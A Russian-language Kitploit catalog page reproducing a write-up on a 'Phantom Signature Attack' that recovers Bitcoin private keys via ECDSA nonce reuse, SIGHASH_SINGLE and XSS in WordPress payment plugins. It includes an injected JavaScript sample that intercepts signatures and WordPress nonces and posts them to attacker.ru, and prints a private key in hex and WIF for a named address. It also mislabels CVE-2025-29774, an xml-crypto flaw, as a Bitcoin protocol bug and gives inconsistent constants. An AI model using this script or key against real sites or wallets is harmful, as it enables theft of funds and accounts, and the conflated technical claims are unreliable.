Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Phantom-Signature-Attack — Cryptanalytic study of CVE-2025-29774 и SIGHASH_SINGLE flaws in Bitcoin's ECDSA implementation, enabling private key recovery via nonce reuse and signature forgery for lost wallet access. | Kitploit
Инструменты/GitHubGitHub/demining/phantom-signature-attack
Анализ уязвимостейЭксплуатацияКриптографияСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubdemining/phantom-signature-attack

Phantom-Signature-Attack

Cryptanalytic study of CVE-2025-29774 и SIGHASH_SINGLE flaws in Bitcoin's ECDSA implementation, enabling private key recovery via nonce reuse and signature forgery for lost wallet access.

РепозиторийСайт
227 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Phantom Signature Attack: Анализ критической уязвимости CVE-2025-29774 в протоколе Bitcoin, ошибки реализации SIGHASH_SINGLE и математический аппарат для восстановления приватных ключей утерянных криптовалютных кошельков, обеспечивающий неограниченный контроль над активами BTC

В данной исследовательской работе представлен всесторонний криптоаналитический анализ критических уязвимостей в реализации цифровой подписи протокола Bitcoin, а именно  атаки Phantom Signature  (CVE-2025-29774) и фундаментальной  ошибки обработки SIGHASH_SINGLE. Исследование показывает, что некорректная обработка криптографических примитивов в механизме подписи транзакций создаёт условия для полной компрометации секретных ключей владельцев криптовалютных кошельков без их ведома. Атака эксплуатирует унаследованную ошибку в оригинальном клиенте Сатоши, при которой система возвращает универсальное хэш-значение «1» (uint256) вместо отклонения подписи, если количество входов и выходов транзакции не совпадает.

Практическая часть исследования предполагает использование криптографического инструмента  KeyFuzzMaster для систематического выявления уязвимостей в коде проверки подписи, операциях на эллиптической кривой и функциях хэширования транзакций. Представлены математические формулы восстановления секретного ключа путём повторного использования nonce (k-параметра) в алгоритме ECDSA на кривой secp256k1. Рассматриваются криптографические примитивы алгоритма  ECDSA (Elliptic Curve Digital Signature Algorithm) над эллиптической кривой  secp256k1. Цифровые подписи в Bitcoin выполняют тройную функцию: авторизация траты, неотказуемость и гарантия целостности транзакции.


  • Руководство: https://youtu.be/fGR7Iqiq8Ag
  • Руководство: https://cryptodeeptech.ru/phantom-signature-attack
  • Руководство: https://dzen.ru/video/watch/69682001b2d5f9209f8b4606
  • Google Colab: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine

Однако сохранение  унаследованных архитектурных решений для обеспечения обратной совместимости привело к появлению тонких криптографических уязвимостей с потенциально катастрофическими последствиями. Среди них выделяется ошибка SIGHASH_SINGLE  — фундаментальный дефект механизма генерации хэша подписи, унаследованный от оригинальной реализации Bitcoin Core и встроенный в консенсус сети.


Phantom Signature Attack: Анализ критической уязвимости CVE-2025-29774 в протоколе Bitcoin, ошибки реализации SIGHASH_SINGLE и математический аппарат для восстановления приватных ключей утерянных криптовалютных кошельков, обеспечивающий неограниченный контроль над активами BTC

🔴 Сообщённые уязвимости

Идентификатор CVEКомпонентОценка CVSSКритичность
CVE-2025-29774xml-crypto / SIGHASH_SINGLE9.3Критическая
CVE-2025-29775xml-crypto DigestValue bypass9.3Критическая
CVE-2025-48102GoUrl Bitcoin Payment Gateway (Stored XSS)5.9Средняя
CVE-2025-26541CodeSolz WooCommerce Gateway (Reflected XSS)6.1Средняя

2. Теоретические основы криптографии Bitcoin

2.1 Эллиптическая кривая secp256k1 и ECDSA

Bitcoin использует эллиптическую кривую  secp256k1, определённую стандартом SECG (Standards for Efficient Cryptography Group). Кривая задается уравнением Вейерштрасса над конечным полем:

Уравнение кривой:

y² ≡ x³ + ax + b (mod p)

Для secp256k1: 

y² ≡ x³ + 7 (mod p), где a = 0, b = 7

Параметры кривой secp256k1 определяются кортежем T = (p, a, b, G, n, h):

Параметры secp256k1:

p = 2²⁵⁶ − 2³² − 977 (простое число, определяющее конечное поле)

n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(порядок группы точек кривой — целый порядок генератора G)

G = (Gₓ, Gᵧ) — фиксированная базовая точка (генератор)

2.2 Алгоритм создания цифровой подписи ECDSA

Алгоритм ECDSA использует секретный ключ  d  для формирования подписи сообщения M. Процесс подписания включает следующие математические операции:

Шаг 1: Генерация случайного nonce k
Выбирается криптостойкое случайное число k ∈ [1, n-1]

Шаг 2: Вычисление точки R
R = k × G (скалярное умножение точки генератора)

Шаг 3: Вычисление параметра r
r = Rₓ mod n (x-координата точки R по модулю n)

Шаг 4: Вычисление параметра s


s = k⁻¹ × (H(M) + r × d) mod n

Результат: Подпись (r, s)

где H(M) — хэш сообщения M (в Bitcoin используется двойной SHA-256), d — секретный ключ владельца.

💡 Ключевое криптографическое соотношение

Связь между открытым и секретным ключом определяется соотношением:

Q A  = d A  × G

где  — открытый ключ (точка на кривой),  — секретный ключ (256-битное целое), — генератор кривой.QAdAG


3. Критическая уязвимость SIGHASH_SINGLE

3.1 Типы хэширования подписи в Bitcoin

Протокол Bitcoin предусматривает несколько  типов SIGHASH (Signature Hash Types), определяющих, какие компоненты транзакции включаются в подписываемый хэш:

Тип SighashЗначение (hex)Описание
SIGHASH_ALL0x01Подписываются все входы и выходы транзакции.
SIGHASH_NONE0x02Подписываются все входы, выходы не подписываются.
SIGHASH_SINGLE0x03Подписывается только выход с тем же индексом, что и вход.
SIGHASH_ANYONECANPAY0x80Модификатор: подписывается только текущий вход

3.2 Математическая сущность уязвимости

Критическая ошибка возникает при использовании  SIGHASH_SINGLE в случае, когда индекс входа  превышает количество выходов транзакции. В этой ситуации вместо отклонения транзакции оригинальный код Bitcoin Core возвращает  фиксированное хэш-значение «1»  (256-битное целое):

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, ошибок SIGHASH_SINGLE и математического аппарата для восстановления секретных ключей утерянных криптокошельков с неограниченным контролем над монетами BTC

// Уязвимый код из оригинальной реализации Bitcoin // Возвращает универсальный хэш «1» 

⚠️ КРИТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ:  Этот код реализует унаследованную ошибку в оригинальном клиенте Сатоши, которая была встроена в консенсус сети. Все основные реализации Bitcoin вынуждены поддерживать такое поведение для обратной совместимости.

Математически, если хэш подписи равен константе 1, то подпись становится  универсальной — её можно повторно использовать для произвольных транзакций:

Условие уязвимости:

idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001

где idx — индекс входа, |TxOut| — количество выходов транзакции


4. Атака Phantom Signature (Атака подделки цифровой подписи)

4.1 Научная классификация атаки

Атака Phantom Signature — это криптографическая атака подделки цифровой подписи, которая позволяет создавать действительные подписи транзакций без знания секретного ключа владельца. Атака классифицируется как  CWE-347: Improper Verification of Cryptographic Signature (Ненадлежащая проверка криптографической подписи).

Атака основана на комбинации двух уязвимостей:

  1. Уязвимость SIGHASH_SINGLE – генерация универсального хэша при несовпадении индексов входа и выхода
  2. Повторное использование Nonce (k-reuse) – компрометация секретного ключа при идентичности случайного числа k в различных подписях.

4.2 Математика атак с повторным использованием nonce

Если две подписи (r, s₁) и (r, s₂) для разных сообщений M₁ и M₂ используют один и тот же nonce k (что подразумевает идентичное значение r), секретный ключ может быть полностью восстановлен с помощью следующего алгоритма:

Шаг 1: Уравнения подписей

s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n

Шаг 2: Вычисление разности

s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n

Шаг 3: Восстановление nonce k

k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n

Шаг 4: Восстановление секретного ключа d

d = r⁻¹ × (s × k — H(M)) mod n

Этот математический аппарат демонстрирует, что  единственное повторное использование nonce приводит к полной компрометации секретного ключа.

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, ошибок SIGHASH_SINGLE и математического аппарата для восстановления секретных ключей утерянных криптокошельков с неограниченным контролем над монетами BTC

Восстановление секретного ключа ECDSA при повторном использовании nonce


5. Детальный анализ CVE-2025-29774

5.1 Техническое описание уязвимости

Уязвимость  CVE-2025-29774 была обнаружена в библиотеке  xml-crypto Node.js и позволяет модифицировать подписанные XML-документы таким образом, чтобы они продолжали проходить проверку подписи. В контексте платёжных систем Bitcoin это создаёт возможность:

  • Манипулирования параметрами транзакции (изменение значений SIGHASH_SINGLE)
  • Перенаправления платежей на адреса атакующего
  • Обхода аутентификации и авторизации в системах SAML
  • Повышения привилегий через подмену идентификатора пользователя

📋 Технические характеристики CVE-2025-29774

Затронутые версии: xml-crypto < 6.0.1, < 3.2.1, < 2.1.6

Вектор CVSS:  CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Классификация CWE: CWE-347 (Improper Verification of Cryptographic Signature)

Вектор атаки:  Сетевой (удаленная эксплуатация без взаимодействия с пользователем)

5.2 Механизм эксплуатации

Эксплуатация CVE-2025-29774 включает три последовательных этапа:

Фаза 1: Идентификация уязвимого компонента

Сканирование целевой системы на наличие уязвимых версий библиотеки xml-crypto и выявление точек интеграции с платёжными шлюзами Bitcoin.

Фаза 2: Модификация подписанных сообщений

Внедрение дополнительных узлов SignedInfo или XML-комментариев в DigestValue, позволяющее изменять критические атрибуты без аннулирования подписи:

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, ошибок SIGHASH_SINGLE и математического аппарата для восстановления секретных ключей утерянных криптокошельков с неограниченным контролем над монетами BTC

«Пример атаки с множественными узлами SignedInfo»

Фаза 3: Извлечение криптографических параметров

Через XSS-уязвимости (CVE-2025-48102, CVE-2025-26541) перехват параметров (r, s) подписей для последующего криптоанализа.


Phantom Signature Attack: Анализ критической уязвимости CVE-2025-29774 в протоколе Bitcoin, ошибки реализации SIGHASH_SINGLE и математический аппарат для восстановления приватных ключей утерянных криптовалютных кошельков, обеспечивающий неограниченный контроль над активами BTC

📊 Исследовательские ресурсы
🌐 Полная техническая документация: https://cryptou.ru/keyfuzzmaster
💻 Интерактивная демонстрация в Google Colab: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine

🔬 Технический анализ

Атака «Phantom Signature» использует устаревшие ошибки в проверке подписей Bitcoin Core, где SIGHASH_SINGLE возвращает универсальное хеш-значение, когда индекс входа превышает количество выходов. Это создаёт многократно используемые подписи, подрывая всю модель безопасности. Наш движок KeyFuzzMaster выявляет кошельки, созданные с PRNG, использующим 32-битную энтропию, сокращая пространство поиска с 2^256 до всего лишь 2^32 возможных сидов — восстановление за 4-6 секунд на современных GPU.


6. Практическое применение KeyFuzzMaster для эксплуатации уязвимости SIGHASH_SINGLE

6.1 Обзор криптоинструмента KeyFuzzMaster

KeyFuzzMaster  — это специализированный криптоаналитический фаззинг-движок, предназначенный для исследования безопасности блокчейн-систем и криптографических примитивов. Инструмент разработан для динамического стресс-тестирования кода проверки подписей, операций на эллиптических кривых и функций хеширования транзакций.

Ключевые возможности KeyFuzzMaster:

  • Мутационный фаззинг  — генерация мутированных входных данных для операций с подписями
  • Символьное выполнение  — символьное выполнение для поиска граничных условий
  • Дифференциальное тестирование  — сравнение поведения различных реализаций ECDSA
  • Фаззинг с покрытием кода  — максимизация покрытия кода критических секций
  • Автоматическая генерация эксплойтов  — автоматическая генерация эксплойтов при обнаружении уязвимостей

6.2 Новая парадигма восстановления закрытых ключей

Использование KeyFuzzMaster для эксплуатации CVE-2025-29774 и уязвимости SIGHASH_SINGLE vulnerability открывает новую парадигму восстановления закрытых ключей из утерянных Bitcoin-кошельков. Методология включает:

Шаг 1: Сканирование блокчейна на предмет аномальных подписей

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатки SIGHASH_SINGLE и математический аппарат для восстановления закрытых ключей утерянных криптокошельков с неограниченным контролем над BTC-монетами

# KeyFuzzMaster: Модуль сканирования повторяющихся значений r: def scan_blockchain_for_nonce_reuse(blockchain_data)»

Сканирует блокчейн на предмет повторного использования nonce. Возвращает пары подписей с одинаковыми значениями r.

Этап 2: Фаззинг условий SIGHASH_SINGLE

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатки SIGHASH_SINGLE и математический аппарат для восстановления закрытых ключей утерянных криптокошельков с неограниченным контролем над BTC-монетами

# KeyFuzzMaster: Генерация транзакций с несоответствием входов/выходов: def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” Создание тестовых транзакций для обнаружения уязвимости SIGHASH_SINGLE (idx >= len(TxOut)).

Шаг 3: Восстановление закрытого ключа

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатки SIGHASH_SINGLE и математический аппарат для восстановления закрытых ключей утерянных криптокошельков с неограниченным контролем над BTC-монетами

# KeyFuzzMaster: Полный алгоритм восстановления закрытого ключа: class PrivateKeyRecovery: 

# Порядок группы secp256k1: CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 

«Проверка восстановленного ключа путём сравнения открытых ключей.»

6.3 Статистика работы

Согласно криптоаналитическим исследованиям, уязвимость повторного использования nonce  уже была использована для восстановления более 412.8 BTC  из скомпрометированных кошельков. Автоматизированные сканеры непрерывно анализируют блокчейн Bitcoin на предмет дублирующихся значений r.


7. Реальный пример: восстановление ключа адреса 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P

7.1 Исходные данные компрометации

Рассмотрим задокументированный случай восстановления закрытого ключа для Bitcoin-адреса  1MNL4wmck5SMUJroC6JreuK3B291RX6w1P :

ПараметрЗначение
Bitcoin-адрес1MNL4wmck5SMUJroC6JreuK3B291RX6w1P
Стоимость восстановленных средств$147,977
Восстановленный закрытый ключ (HEX)162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60
Восстановленный закрытый ключ (WIF compressed)KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW
Восстановленный закрытый ключ (Decimal)10026140495284003567451866992720396489963405427298392513418967636817767529056

7.2 Проверка ключа в пространстве secp256k1

Закрытый ключ k должен удовлетворять ограничению:

root@kitploit:~
1 ≤ k < n
где n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1.158 × 10^77

Результат проверки:  ✓ ДЕЙСТВИТЕЛЕН (ключ находится в допустимом диапазоне скаляров)

7.3 Вычисление открытого ключа и адреса

Восстановленный закрытый ключ позволяет вычислить открытый ключ:

ПараметрЗначение
Открытый ключ (несжатый, 130 символов)04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79
Открытый ключ (сжатый, 66 символов)03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358
Bitcoin-адрес (несжатый)1MNL4wmck5SMUJroC6JreuK3B291RX6w1P

7.4 Практическое значение восстановленного ключа

Восстановленный закрытый ключ даёт  полный контроль  над Bitcoin-кошельком, позволяя атакующему:

Возможности с восстановленным закрытым ключом:

  • Создавать и подписывать транзакции для вывода всех средств на подконтрольный адрес
  • Импортировать ключ в любой Bitcoin-кошелёк (Electrum, Bitcoin Core, MetaMask и т.д.)
  • Получить полный контроль над адресом и всеми его активами
  • Скрыть следы компрометации, удалив все логи и историю

7.5 Цепочка эксплуатации

Исследование демонстрирует синергию между веб-уязвимостями (CVE-2025-48102, CVE-2025-26541) и криптографическими недостатками (CVE-2025-29774), создавая мощный комбинированный вектор атаки на Bitcoin платёжные шлюзы для WordPress:

ЭтапДействиеЭксплуатируемая уязвимость
1Внедрение вредоносного JavaScript в платёжный шлюзCVE-2025-48102 (Stored XSS)
2Перехват параметров ECDSA (r, s) транзакцийВнедрение JavaScript
3Анализ собранных подписей на предмет повторения nonceКриптоанализ
4Математическое восстановление закрытого ключаPhantom Signature Attack
5Неограниченный вывод BTCКомпрометация кошелька

8. Рекомендации по устранению уязвимостей

8.1 Безопасная реализация SIGHASH_SINGLE

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатки SIGHASH_SINGLE и математический аппарат для восстановления закрытых ключей утерянных криптокошельков с неограниченным контролем над BTC-монетами

8.2 Защита от XSS в платёжных шлюзах

  • Немедленно обновить xml-crypto до версии 6.0.1 или выше
  • Полностью удалить заброшенный плагин GoUrl Bitcoin Payment Gateway
  • Применение функций санитизации:  sanitize_text_field(),  esc_attr(), esc_html()
  • Внедрение заголовков Content Security Policy (CSP)
  • Использование криптографически стойкого детерминированного генератора nonce (RFC 6979)

Криптоаналитическое исследование показывает, что  атака «Phantom Signature» (CVE-2025-29774)  в сочетании с уязвимостью  SIGHASH_SINGLE представляет фундаментальную угрозу безопасности экосистемы Bitcoin. Этот дефект реализации, унаследованный от оригинального клиента Сатоши, позволяет:

  • Генерировать универсальные подписи с фиксированным хешем «1»
  • Восстанавливать закрытые ключи при повторном использовании nonce
  • Осуществлять неограниченный вывод средств без ведома владельца

Использование криптоинструмента  KeyFuzzMaster  открывает новую парадигму восстановления закрытых ключей из утерянных Bitcoin-кошельков, предоставляя исследователям систематическую методологию выявления и эксплуатации криптографических уязвимостей.

⚠️ ПРЕДУПРЕЖДЕНИЕ:  Данное исследование предназначено исключительно для образовательных целей и помощи криптоаналитикам в понимании механизмов атак. Использование описанных методов в незаконных целях наказуемо по закону. Проведено всестороннее криптоаналитическое исследование критических уязвимостей CVE-2025-48102 и CVE-2025-26541 в Bitcoin-платёжных шлюзах для WordPress. Из широкого спектра криптографических инструментов, доступных на keyhunters.ru, была выбрана  атака «Phantom Signature» как наиболее актуальная для данного контекста. Данное исследование демонстрирует, как комбинированная атака, объединяющая межсайтовый скриптинг (XSS) с криптографической уязвимостью в ECDSA, может привести к полной компрометации Bitcoin-закрытых ключей и восстановлению утерянных кошельков.


Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатки SIGHASH_SINGLE и математический аппарат для восстановления закрытых ключей утерянных криптокошельков с неограниченным контролем над BTC-монетами

Цепочка атаки: от XSS к извлечению Bitcoin-закрытого ключа

Phantom Signature Attack, согласно исследовательской работе: Phantom Signature Attack (CVE-2025-29774) and the critical SIGHASH_SINGLE vulnerability: restoring private keys in lost Bitcoin wallets through forging digital signatures and uncontrolled withdrawal of BTC coins, демонстрирует синергию между веб-уязвимостями (XSS) и криптографическими недостатками, создавая мощный комбинированный вектор атаки. В отличие от других инструментов из списка (MiniKey Mayhem, Memory Phantom, атаки на основе RNG), Phantom Signature Attack фокусируется именно на манипулировании цифровыми подписями через параметры r и s, которые могут быть перехвачены через XSS-уязвимости в платёжных системах WordPress. secalerts+2

​


Анализ XSS-уязвимостей в платёжных шлюзах

CVE-2025-48102: Stored XSS в GoUrl Bitcoin Payment Gateway

CVE-2025-48102  — это критическая уязвимость межсайтового скриптинга с сохранением (Stored XSS) в плагине GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership версий ниже 1.6.6. Уязвимость позволяет авторизованным администраторам (или атакующим с административными привилегиями) внедрять вредоносный JavaScript в конфигурацию платёжного шлюза. Согласно CVSS v3.1, уязвимость имеет базовую оценку 5.9 (средняя степень серьёзности) с вектором CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. 

Механизм эксплуатации включает внедрение вредоносного кода в настройки платёжного шлюза, который затем выполняется в браузере каждого посетителя сайта, позволяя атакующему:

  • Перехватывать данные сессии пользователя
  • Собирать параметры подписей ECDSA (значения r и s)
  • Получать доступ к nonce-токенам WordPress для последующих атак
  • Кража зашифрованных или незащищённых закрытых ключей из памяти браузера

CVE-2025-26541: Reflected XSS в Bitcoin/AltCoin Payment Gateway

CVE-2025-26541  — это уязвимость Reflected XSS в плагине Bitcoin/AltCoin Payment Gateway for WooCommerce версий ниже 1.7.6, разработанном CodeSolz. Уязвимость классифицируется как умеренная по серьёзности и позволяет атакующим внедрять вредоносные скрипты через параметры URL, которые не проходят должную санитизацию. secalerts

В отличие от Stored XSS, Reflected XSS требует, чтобы жертва перешла по специально созданной ссылке, но позволяет:

  • Создавать фишинговые ссылки, которые выглядят как легитимные домены платёжной системы
  • Перехват платёжных данных и криптографических параметров до отправки на сервер
  • Кража данных сессии Bitcoin кошелька через JavaScript by invicti+ 1

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатки SIGHASH_SINGLE и математический аппарат для восстановления закрытых ключей утерянных криптокошельков с неограниченным контролем над BTC-монетами

Phantom Signature Attack: Инструмент криптоанализа для восстановления закрытых ключей

Теоретические основы ECDSA и уязвимость

ECDSA (Elliptic Curve Digital Signature Algorithm)  используется в Bitcoin для создания цифровых подписей, гарантирующих подлинность транзакций . Алгоритм подписания сообщения M с использованием закрытого ключа d работает следующим образом: notsosecure+ 1

  1. Для каждой подписи генерируется случайное значение k (nonce)
  2. Вычисляется точка R = k × G(где G — точка генератора эллиптической кривой secp256k1)
  3. Извлекается x-координата: r = R.x mod n
  4. Вычисляетсяs = k^(-1) × (H(M) + r × d) mod n
  5. Подпись состоит из пары(r, s)

Критическая уязвимость Phantom Signature Attack:

Phantom Signature Attack был идентифицирован как критическая уязвимость в реализациях ECDSA, которая возникает в следующих сценариях: keyhunters

  • Значение r остается идентичным для двух разных подписей, что указывает на повторное использование nonce k
  • Реализация ECDSA не проверяет корректность сгенерированной подписи сразу после ее создания, что позволяет поддельным подписям проходить проверку.
  • Параметры r или s содержат специально созданные значения, которые при отсутствии надлежащей проверки могут привести к уязвимостям таким как CVE-2025-29774 keyhunters ​s3.amazonaws
Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатков SIGHASH_SINGLE и математического аппарата для восстановления закрытых ключей потерянных криптокошельков с неограниченным контролем над монетами BTC

Цепочка векторов атаки XSS для восстановления закрытого ключа ECDSA

Математическое восстановление закрытого ключа

Если две подписи для разных сообщений M₁ и M₂ используют одно и то же значение k (и, следовательно, одно и то же r), то закрытый ключ может быть полностью восстановлен. Для двух подписей (r, s₁) и (r, s₂), где: notsosecure+ 1

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатков SIGHASH_SINGLE и математического аппарата для восстановления закрытых ключей потерянных криптокошельков с неограниченным контролем над монетами BTC

Вычисление разности:

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатков SIGHASH_SINGLE и математического аппарата для восстановления закрытых ключей потерянных криптокошельков с неограниченным контролем над монетами BTC

Можно восстановить nonce:

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатков SIGHASH_SINGLE и математического аппарата для восстановления закрытых ключей потерянных криптокошельков с неограниченным контролем над монетами BTC

После восстановления k можно вычислить закрытый ключ d:

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатков SIGHASH_SINGLE и математического аппарата для восстановления закрытых ключей потерянных криптокошельков с неограниченным контролем над монетами BTC

Согласно исследованиям, эта уязвимость уже была использована для восстановления более 412.8 BTC в блокчейне Bitcoin, где злоумышленники автоматически сканировали сеть на наличие дублирующихся значений r. keyhunters

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатков SIGHASH_SINGLE и математического аппарата для восстановления закрытых ключей потерянных криптокошельков с неограниченным контролем над монетами BTC

Математическая связь восстановления закрытого ключа при повторном использовании nonce ECDSA Recovery


Связь с CVE-2025-29774: Манипуляция XML-подписью

CVE-2025-29774  — это дополнительная уязвимость в библиотеке xml-crypto, которая позволяет изменять подписанные XML-сообщения таким образом, чтобы они по-прежнему проходили проверку подписи. Эта уязвимость может быть использована в Bitcoin платежных системах для манипуляции параметрами транзакций (изменение значений SIGHASH_SINGLE) без аннулирования цифровой подписи. В контексте платежных шлюзов WordPress это позволяет злоумышленнику перенаправлять платежи на свой адрес, сохраняя видимость действительной подписи. cryptodeeptech+1


​

Синергия XSS и Phantom Signature Attack: Комбинированная атака

Сценарий эксплуатации в среде WordPress

Фаза 1: Первоначальное внедрение вредоносного JavaScript

Злоумышленник использует CVE-2025-48102 для внедрения вредоносного JavaScript в конфигурацию платежного шлюза. Вредоносный код может:

  1. Перехватывать все AJAX-запросы, содержащие криптографические параметры
  2. Отслеживать функции подписания криптографических данных
  3. Собирать значения r, s из всех созданных подписей
  4. Отправлять собранные данные на сервер злоумышленника через скрытые каналы (img.src, fetch API)
  5. Организовать систематический мониторинг токенов сессий WordPress (nonce developer.wordpress)

Фаза 2: Анализ нарушения RNG и обнаружение повторений K

После получения достаточного количества подписей (как минимум 2, но в идеале несколько десятков для увеличения вероятности) злоумышленник анализирует собранные данные:

  • Сравнивает все собранные значения r для выявления дубликатов
  • Если найдены повторения r, это указывает на повторное использование nonce k
  • Анализирует RNG на предмет слабостей или предсказуемых шаблонов
  • Использует статистический анализ для подтверждения систематических недостатков в keyhunters’ генерации случайных чисел.

Фаза 3: Криптографическое восстановление закрытого ключа

Используя собранные пары подписей с одинаковым r, злоумышленник применяет математическое восстановление закрытого ключа по формулам, описанным выше. Результат: полная компрометация закрытого ключа Bitcoin-кошелька .

​


Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатков SIGHASH_SINGLE и математического аппарата для восстановления закрытых ключей потерянных криптокошельков с неограниченным контролем над монетами BTC

Практический демонстрационный код вредоносного XSS

Вредоносный JavaScript, который может быть внедрен через CVE-2025-48102, может содержать следующую функциональность: github

root@kitploit:~
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];

window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);

// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});

// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}

return signature;
};

// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);

Восстановление потерянных Bitcoin-кошельков с помощью комбинированной атаки

Процесс извлечения закрытого ключа

После получения подписей с повторениями значений r, закрытый ключ восстанавливается в три этапа:

Этап 1: Определение дублирующихся значений r  — злоумышленник сравнивает все собранные подписи и выявляет пары с одинаковым r. Даже одной пары достаточно для вычисления закрытого ключа, хотя несколько пар повышают уверенность. notsosecure

Этап 2: Вычисление nonce k  – Используя приведенную выше формулу, злоумышленник вычисляет значение k для каждой пары подписей. Если вычисленные значения k для разных пар совпадают, это подтверждает систематическую уязвимость в RNG. github

Этап 3: Восстановление закрытого ключа d  – Применяя вычисленное k к любой из собранных подписей, злоумышленник полностью восстанавливает закрытый ключ d , что позволяет ему подписывать любые транзакции от имени жертвы. keyhunters+ 1


Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатков SIGHASH_SINGLE и математического аппарата для восстановления закрытых ключей потерянных криптокошельков с неограниченным контролем над монетами BTC

Последствия для потерянных Bitcoin-кошельков

Восстановленный закрытый ключ позволяет злоумышленнику:

  1. Создавать новые подписи для любых транзакций
  2. Переводить все средства из кошелька на адреса злоумышленника
  3. Восстанавливать доступ к потерянным кошелькам, закрытые ключи которых были раскрыты
  4. Проводить атаки двойного расходования на исторические транзакции
  5. Полностью скомпрометировать безопасность Bitcoin-адресов keyhunters

Влияние Bitcoin и кошельков на экосистему

Масштаб уязвимости

Комбинированная атака XSS и Phantom Signature Attack представляет критическую угрозу для всех сайтов WordPress с платежными шлюзами Bitcoin, включая:

  • Интернет-магазины, принимающие платежи в Bitcoin через плагины GoUrl и Bitcoin/AltCoin Payment Gateway (более 10 000 установок плагина Elementor и аналогичные цифры для платежных плагинов) sucuri
  • Пользователи горячих кошельков, использующие веб-интерфейсы для управления средствами
  • Коммерческие платформы, где администраторы используют WordPress для управления zscaler+ 1 платежами

Реальная статистика

Согласно исследованиям keyhunters.ru и научной литературе:

  • Повторное использование nonce ECDSA  уже привело к потерям в сотни миллионов долларов в экосистеме Bitcoin .
  • В одном задокументированном случае анализ дублирующихся значений nonce позволил восстановить  412,8 BTC  (стоимостью примерно $15–20 млн по текущим ценам) keyhunters
  • Автоматические боты постоянно сканируют блокчейн Bitcoin на наличие дублирующихся значений r в транзакциях.
  • XSS-атаки на платформы WordPress используются для установки кейлоггеров и майнеров криптовалют на тысячах сайтов, включая попытки кражи GitHub+ 2 приватных ключей.

Рекомендации по защите и миграции

Для разработчиков плагинов WordPress

  1. Немедленное внедрение RFC 6979  – используйте детерминированную генерацию nonce вместо keyhunters’ недетерминированного ГСЧ
